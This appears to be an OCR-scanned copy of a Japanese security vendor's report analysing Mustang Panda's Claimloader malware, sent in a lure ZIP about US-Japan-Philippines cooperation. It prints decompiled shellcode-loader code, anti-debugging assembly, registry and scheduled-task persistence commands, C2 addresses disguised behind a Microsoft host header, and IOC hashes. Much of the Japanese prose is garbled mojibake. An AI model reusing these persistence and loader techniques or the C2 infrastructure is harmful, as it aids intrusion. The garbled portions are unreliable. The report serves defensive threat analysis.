WWW.lac.Co.jp /lacwatch/report/20221117_003189.html

thEE#L AR HDMustang Pandap’< )L™ = 7 "Claimloader; T
BRI, BAIC HEED)

Z v o DAINTT.

20226F11R. v I DBBAMF—LiE. TEEAMSR & HMustang Panda s I 2B E )L —
THT 1) B BATARA £ 12 (SBEARS A IER E L TWB EE L SND - EE AR L TUWET.
ZOWETZ. BXE=HESLE (The U.S.-Japan-Philippines Security Triangle: Enhancing Maritime
Security, Shared Strategic Outlooks, and Defense Cooperation) *1(-BJ#E¢ 2 XEA K >1-T—HA T
7T7AIHFIRAEINTUWE Lz, 2RONEHHRTEH., BALAMEIC H RO EBATHN TS ARE
MHH D=, SEIE. ZDT—HhA 77 7AIHhLRBENZ—EDKHEICOWTHANLET.

X1 JIA -H A EEEFEE 5 T-

1%, 7—HA T 7 74 (for PH-JP-US Trilateral Cooperation(11-07-2022).zip) H b DH—ENIKE
DN ERLI-HERTY .
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2 e T

for PH-JP-US Trilateral
Cooperation(11-07-2022).zip

\|/1. Extract
Legitimate Claimloader

1
DLL Sideloading M

dsnnnnnnnnnnnnnnn
EXE DLL
for PH-JP-US Trilateral EVENT.AII
Cooperation.exe
2. Execute
\\, C2 Server

%
1

Shellcode

\ 3. C2 connection /

K1 7—hA477 74 SDOBHENER

ZDT—=HAT77A4IVZIE. 22007 71ILHEEFNTHY) . 12(F. "for PH-JP-US Trilateral
Cooperation.exe" ¥ L9 7 7 1 JLEZ DMicrosoftit ARt 3 1E3R 7 71 )L (AccEventy—)L) T3 . &
INDODT 7AILH, "EVENTAI"E LN 7 71 ILEZ D7 IL) = 7 ClaimloaderTdh ). DLLY FO—F
1 0FEAEERL T, ERDACCEventy —ILARITENDERIZHTAAETNE T,

Claimloader{ZD>W\T

Mustang Panda(g. PlugX, Cobalt Strike, Metasploit Framework (Meterpreter) 7y & kk % 752 — )L
T T ERBEEHFATEI LA FONTWET A, 20215F12 FaH LY o)a— FEARET
LWLy =7 ClaimloadersFIA9 2 Z & &AL £ L1-. Zd~IL7 =74, Cisco Talostth?
202245 8 (Z#4 L 7-Mustang Panda(=R83 2 7' 022|250 T, "Bespoke stagers (A R LA T —
) " LTEBNAINTUWETH. SEIFERL 1-2022F 11 BOIKTIE UL DA MBEDIBMEE AT
HNTWE L. PBETE., 707 TEMhon TORULRPEER. HTL (RIS N-HEEICDOWL
T. HBOMBEE LR L D48 L 9.
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%2 Mustang Panda deploys a new wave of malware targeting Europe
NDA
Fik (X vE—)

Mustang Panda(%. LIZLIFESAMERT 2 VLT 7OFICF—T— KX v E—C5IBDIAA,
MessageBox()B¥x>OutputDebugString )B¥7s E A FIA L T, ZhoHDRB A RRT HHEEA TR L
TWEd. 2022688 5 L UM BIZHER L #-ClaimloaderTl. KEMDEZH(ZRET 2F—T— R EAE
FNTWBZEAhh) Ed. (K2)

45 72 72 6F 72 00 00 00 69 20 6C 6F 76 65 20 61 Error...i-love-a
6D 65 72 69 63 61 00 VO 69 20 6C 6F 76 65 20 4E merica..i-love-N
61 6E 63 79 20 50 65 6C 6F 73 69 00 4E 61 6E 63 ancy-Pelosi.Nanc
79 20 50 65 6C 6F 73 69 20 69 20 6C 6F 76 65 00 y-+Pelosi+i-love.
66 75 63 6B 20 75 20 43 A4AE 00 00 00 37 39 36 39 fuck-u-CN...7969
64 63 30 30 39 35 36 64 33 33 39 37 33 34 35 36 dc@0956d33973456
34 36 31 38 62 38 61 37 31 62 33 36 35 32 61 63 4618b8a71b3652ac
30 34 38 33 00 00 00 00 43 00 3A 00 5C 00 55 00 ©483....C.:.\.U.

20 00 21 00 3D 00 20 ©@ 4E 00 55 00 4C 00 4C 00 -.!.=.-.N.U.L.L.
00 00 00 00 69 20 6C 6F 76 65 20 54 72 75 6D 70 ....i-love-Trump
0O 00 00 00 50 6C 65 61 73 65 20 73 61 6E 63 74 ....Please-sanct

69 6F 6E 20 43 68 69 6E 61 00 09 00 69 20 6C 6F ion-China...i:lo
76 65 20 61 6D 65 72 69 63 61 00 00 46 75 S5F 63 ve-america..Fu_c
6B 20 55 20 33 36 30 8 53 /5 /0 /0 6F 72 74 20 k'U-366.Supp0r‘t-
54 72 75 6D 70 20 63 61 6D 70 61 69 67 6E 20 32 Trump-campaign-:2
30 32 34 90 45 72 72 6F 72 00 00 00 41 52 52 78 024.Error...ARRX
59 78 65 6C 6F 6F 6D 75 73 6B 78 78 78 78 61 00 Yxelonmuskxxxxa.
A3 00 3A 90 5C 90 55 00 73 90 65 00 72 90 73 90 C.:.\.U.s.e.r.s.
K2 ClaimloaderN(ZIBHA £tz X v —2D—8B (£ : 2022488 /F : 20224118

T F TNy TR
K3IZRT & HIZ. FIT&N 3 L. IsDebuggerPresent()BE#$ & 1*CheckRemoteDebuggerPresent()4
WEFUE L. BEATNNYH—FAFRAL TSN TWSHhEIDEFov I LEFT. ZOBRIZIR

PANIZHUEAHE F 70 W BTAMTHON TUW B L FIRTL . WUBAAT I B EY. ZOMEEZ. 2022411A
DClaimloaderm b EEINTULE T,
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push ecx
call ds:IsDebuggerPresent

test eax, eax
jnz short loc_100193C4
P
call ds:GetCurrentProcess
lea ecx, [ebp+pbDebuggerPresent]
push ecx ; pbDebuggerPresent
push eax ; hProcess
call ds:CheckRemoteDebuggerPresent
cmp [ebp+pbDebuggerPresent], 1
jz short loc 100193(C4
PP :
push esi
call ~clock
mov esi, eax
lea ecx, [ecx+0]
Yy ‘
sl =
loc 100193B0O:
call ~clock
sub eax, esi
cmp eax, 1000
jl short loc_100193B0
— (2
call sub _100191A0

X3 7> FF/\y o HhEE

k& AaE

Claimloader(F. jk&tt#éeer LT, RRZ AT Pa—F8LURUNL SR M) F—42FAL £9. K4
IZ7RG &I, RunL PR M) F—~DBEE3Arega VY > K EFKITT DHEDSLHT LUK T,
SHSetValueA(BIAIFOE L. LA M) F—DEARET HAEICEEINTWE LY.

CommandLine,
"fC reg add HEKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Amdesk /t REG_5Z /d \"Rundll32.exe SHELL32.DLL"
",5hellExec_RunDLL \"C:\\Users\\Public\\Libraries\\active_desktop\\desktop_launcher.exe\"\" [f");
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SetCurrentDirectoryW(Str);

set_task_persistence();

return SHSetValueA(
HKEY CURRENT USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"ACCONF1",
1u,
"C:\\Users\\Public\\Libraries\\MozillaConfl\\HelpContentIndex.exe",
0x3Bu);

4 Runl- 22 b2 & BokEeterdae (£ : 1B/ F @ #)

—H. BRI AT 2A—F7~DBEFFIRIZOWTL., FITEND T 7AIR/NRAZDEWNIHY) £9
A RITaV FIZiFRELEWTR (. SEOBETEIRSO L Hha~vr FEFRITL. 198128
BAFITTHIRT S 1—ILR R A AT LIZERL £

C:\Windows\system32\cmd.exe schtasks /F /Create /TN Microsoft_MozAll /sc

minute /MO0 1 /TR C:\Users\Public\Libraries\MozillaConfl\HelpContentIndex.exe
K5 & 22 242 21— 2 & BikEiiikas

L x)ba— FOETAHAE

|HClaimloaderT(%. CreateThread()B%AFIF L T X E 4B EIZRBBEI N> )L O—FEFITL T
WE L1z SRR T(E, CryptEnumOIDInfo()B8%AFIAL T, > z)la—F&FITLET. (K
6)

“EDMDOREBMEKRT(Z. LineDDA()BI%L. GrayStringW()B%x>EnumDateFormatsA()B9%¥t A= FIA L Tk
). WEEL. WEX v R—ZBL T, > a— NOETAEAEXIZEELTWS L H T,
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result = decrypt_shellcode(&Src, &ThreadId);
if ( Src )
{
vl = Threadld;
if ( ThreadId )
{
OutputDebugStringW(L"Print™);
dwSize = vi;
OutputDebugStringW(L"I-le-HeliosTeam");
OutputDebugStringW(L"Print-HeliosTeam");
OutputDebugStringW(L"Print-HeliosTeam");
v2 = VirtualAlloc(@, dwSize, ©x1000u, ©x40u);
if (v2 )
{
OutputDebugStringW(L"Print");
v5 = vl;
v3 = Src;
memcpy(v2, Src, v5);
OutputDebugStringW(L"I work at 360");
OutputDebugStringW(L"I-le-HeliosTeam");
OutputDebugStringW(L"Print-HeliosTeam");
ThreadId = 0;
OutputDebugStringW(L"Print-HeliosTeam");
OutputDebugStringW(L"I-le-HeliosTeam");
OutputDebugStringW(L"Print-HeliosTeam");
OutputDebugStringW(L"Print-HeliosTeam");
v4 = CreateThread(®, @, StartAddress, v2, 0, &ThreadId);

result = (BOOL { stdecall *)({PCCRYPT OID INFO, void *))decrypt_shellcode(&5rc, &dwSize);
vl = Src;
if ( Src )

v2 = dwSize;
if ( dwsize )

dword_1883AEBC = dwSize;
result = (BOOL (__stdcall *){PCCRYPT_OID INFO, void *))VirtualAlloc(®, dwSize, ©x1000u, 6x40u);

v3 = result;
if ( result )
{

memcpy({result, vl, v2);
return (BOOL (__ stdcall *)(PCCRYPT_OID_INFO, wvoid *))CryptEnumOIDInfo(@, @, 8, v3);
}

X6 > z)d—FDFETHZE (£ I1B/F : #)

Ftz. ZOFTEAND T TILO— R(E. 0X20/N1 f TEIZARINTHRAINTE Y. thEfnHR KR
LAES ($# 242 21— )LEA¥>AddRoundKeyBa%k 7y S HMERE Y By 2) TSI TWEd. K7
3. BRIz — FO—BITHY . ZD7r—RTlE. TR ESHEINZ> /LI — FO—8. )
BRHIESIETY .
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.text:

.text

text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:

ctext

text:
text:
text:
text:
.text:
text:
text:

.text

.text:
:100010C3 call aes_decrypt
.text:

.text

1000102D mov [ebp+var 4C], 38616335h
:10001034 mov [ebp+var 48], 34326631h
1000103B mov [ebp+var_44], 62396265h
10001042 mov [ebp+var_40], 38323034h
10001049 mov [ebp+var 3C], 65646161h
10001050 mov [ebp+var 38], 65393934h
10001057 mov [ebp+var 34], 61613634h
1000105E mov [ebp+Src], PATAA3472h
10001065 mov [ebp+var 2d]], 30395B37h
1000106C mov [ebp+var 28], 3E53B985h
10001073 mov [ebp+var 241, OFBOE39D2h
1000107A mov [ebp+var_2@], ©C4A57DB7h
10001081 mov [ebp+var 1C]], 2ADA67A8h
10001088 mov [ebp+var 18], 302CDACSh
:1000108F mov [ebp+var 14]], 71D6802h
10001096 mov dword ptr [eax], 206h ; '
1000109C call _memcpy

100010A1 push 20h ; ' '

100010A3 push esi

100010A4 lea eax, [ebp+var 10]

100010A7 mov [ebp+var_10|], 30346239h
100010AE mov [ebp+var_C]|, 61613832h
:100010B5 mov [ebp+var 8]|, 39346564h
100010BC mov [ebp+var_4]|, 36346539h

100010C8 add esp, 14h

K7 Claimloader(Z& F L BESant-> z)La— K (—5F)

>x)LaA—F[ZDOWT

To)ba— R, Fitzs o)ba— FEC2H—/\An XY aA—FL, RITT BV A—KDLH i
BEAEFL FT. > )La— FATFUHTAPIZ(L. rori3AddHash32T/\y s athanTH ). Fi-.
BEEDC2H—NZL, ) MLIVTFA4 T T/A—Ra—F&nTwWEd. (K8)

imul
mov
mov
shl
mov
mov

ecx, eax, 9

[ebp+ecx+var 24], 3FO2FF9Eh ; 158.255.2.63
edx, 4

edx, ©

[ebp+edx+var 24], 3F02FF9Eh ; 158.255.2.63
eax, 4
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K8 /\— FO— F&a -5k

ZMP o)LA= K $Cisco Talost A ¥RET 2RRUIANHLREHAMZ L, SEIDRIKTILC2H —/N~Dil
BERIENEL >TWE Lz, [BRRIKIE. RIOITRT L) ICV 7y MEET/TCPAFIAL . C2H—/
) TR PEEEBELTWE LA FHIKTIE. HTTP POSTEBEAFIAZNTUWWE Lz, (K10)

@ooboeee 17 63 83 80 1c 20 65 77 8f 4f 4c 9a 9d f1 c7 bl ..... ew .OL.....
PP00eR10 10 c3 d6 ©5 6d 9¢c f7 78 b4 e2 24 10 b5 c6 31 cl s oo dlle o8 aosina sl
00BoeR20 00

X9 4y hBfE

POST / HTTP/1.1

Host: www.asia.microsoft.com

Upgrade-Insecure-Requests: 1

User-Agent:Mozilla/5.@ (Windows NT 6.1; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/65.0.3325.181 Safari/537.36

Accept: text/html,image/webp,imgage/apeng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: en-U5,en;q=0.9

Content-Length: 33

..... ew.0. o 6230 0 o o odbo
I10HTTPPOST {n

POSTBEMXET—RI(Z. RIMTRTLHIZRY 2—LS ) TILES, O R T LREIMEOLZIBIFR-
(—HF) . KRR MBIV I —L"HEENTHY . RCATEERINTWET. . BSiHL"
0x785a124d751414116c0271155a7305087014653b644222232000000000000000" T ¢) . |Bt&{EK & [F
CE:—pkan L CTRIFE N TULWET,
280 65 77 BF 4F 38 A3 9D F1 C7 Bl 1@ C3 D6 @85 6D 9C F7 78 B4 E2 24 18 B5 Cée 31 C1
l RC4Fa—F
loAl[B4 cB BA 40llB2 BBl[44 45 53 4B 54 4F 50 2D 4A 56 52 31 44 30 50| 00 74 65 73 74

R I $2 12 Enta )
;tu; L/Uxmﬁﬁg
i " :
. 0x12345678
> 27 LEWEORBHNM
(Ffit2:54 F)

11 C2H —/NIZIEFT 27— X

(2. MO TPOSTIEEAMERL THADE . Host~y Z(Z(2"www.asia.microsoft.com"AMEE 2 11T Ly
FIH. ZORIENDC2H—/NF. K8MRT & ) (2"158.255.2[.]163" Ty ¢) . Host~y KHHEEE(Z L -
THEEINTWAZEAhAY) 7,

ZDEHBBEARELIIGE. EF21) T BB L > T, C2H—/x~DBIEAH"microsoft.com"~

TI7EALTWS L) IZEEREINTL ) TEEMEA D B7-6. BEREEFR LWL ) ICEEABE
T9.

Feod
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Mustang Panda(. 7 T7#E. BXMNES. KEA L, HREMOBUTHEICRIEAAMS AN L. &
WBEIIEEIL TWAB I eAHMEINTUWET. . B EI v ~v—. 710>, R1EWS1T

T T H#EA~DClaimloaderAFI L - WEA R INTWE T, BFAAMICEWTE., COBBIEEINDF
BEMRLTHY) ., BT, 2021438HEIZPIugXAFIASN-BRXR AL TWE 9. 5%, K
ICEAAEHAE X —7 Y PE LT BHEEMHEZ SNETDT, (DOEEEFRL TWKBELDH D &

2 %9,

ZVIDNEBOINF—LTIE. 3 ZOHEESI—TI2 OO0 THGHRIZAT L. LIERAIREL
TWEFTOT. TTEAWEITNIESEWTT,

IOC (Indicator Of Compromised)

Claimloader/\y < 148 (MD5)

10cd7afd580ee9c222b0a87f241d306
694b7966a6919372calcf8cf49c867d9
11689d791ed4c36fdc62b3d1bcf085b1
6391ab75ac20f2f59179092446ed5052
27ebc3afcca85151326¢4428e795d21d
268d61837aa248c1d49a973612a129ce
a84958¢32cd9884a052be62bdbe929cf
f826e9e84b5690725b5f5a0cd12ed 125
4a2992b4c7a1573bf7¢74065e3bf5b0d
e7d91f187ff9037d52458e2085929409
793d0e610ecac2da4a8b07ff2ff306ac
f6aa6056a4c26ab02494dfaa7e362219
8f539d19929fdaa145edd8f7536ec9c9
d78e0a4a691077a29e62d767730b42bf

P=hHAT 774y 1{E (MD5)

d1ec01ff605a64ab8c12e2f3ca2414a4
69b40a4dbca10fe6b6353f3553785080
19f22b4c9add7d91a18b2e3de76757a3
a0e268be651237d247b00de5054d46ef
ae358c¢1915e794671a1d710d9359146d
fcd6691fc59610a50740a170a8a5a76f
a1c010659ea4b06461d5a99d16a91f24
951233cbebbb02b548daf71cc53f7896
b9327186666fd00ae01bc776006b85ae

B{E%

103.15.28[.]208
103.15.29[.]179
158.255.2[.]163

9/10



202.53.148[.]24
202.58.105[.]38
89.38.225[.]151
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